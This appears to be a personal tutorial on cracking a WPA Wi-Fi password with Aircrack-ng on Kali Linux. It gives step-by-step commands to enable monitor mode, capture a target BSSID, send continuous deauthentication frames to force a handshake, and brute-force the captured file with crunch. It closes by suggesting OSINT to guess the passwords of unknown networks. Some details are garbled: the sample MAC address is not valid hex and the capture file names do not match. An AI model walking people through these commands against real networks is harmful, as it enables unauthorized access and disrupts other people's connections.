Aircrack-ng
- Network Adapter ( I used TL-WN722N V2 with monitoring mode .)
- Kali Linux
#Lets Start Cracking
- Before enabling monitoring mode we need to kill some services to avoid interruption .
- Type the below command to see the services that interrupting and kill them.
sudo airmon-ng check wlan0
sudo airmon-ng check kill
- Now stop the wlan0 to enable monitor mode, follow the below command to enable it .
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
- If you type
iwconfig
you will the mode of wlan0 as monitor mode.
- First we need to capture the network for BSSID so type the below command for it .
airodump-ng wlan0
- Now i take a particular BSSID to monitor it lets take Kamalesh D BSSID because its my network.
- Type the below command to monitor the particular BSSID network.
airodump-ng -c 1 -w Scan_network --bssid EW:WV:4H:J7:A5:28 wlan0
- Run the above command in background.
- Now i need to deauth the wifi to get the 4 way hackshake and get a .cap file.
- Run the below command to deauth it.
sudo aireplay-ng -0 0 -a EW:WV:4H:J7:A5:28 wlan0
- Run the code until you see 4-way handshake mentioned in the background running code.
- We are gonna use
Crunch
andaircrack-ng
to find the password and with the help of Scan_network.cap file. - Type below command to start the proccess with help of crunch we give set a possible letters/alpha/symbols and pass that to aircrack to decrypt the .cap file.
sudo crunch 8 8 123456780 | aircrack-ng -w - Scan_Kamalesh-01.cap -e Kamalesh D
- For crunch i used only numeric because i know the wifi password i set it to only numeric.
- If you dont know the password try to guess use social footprint and try to find the length otherwise if you want to try all the possibility it is billions which is not possible to crack it on pc its takes years to crack it so try to guess and use OSINT.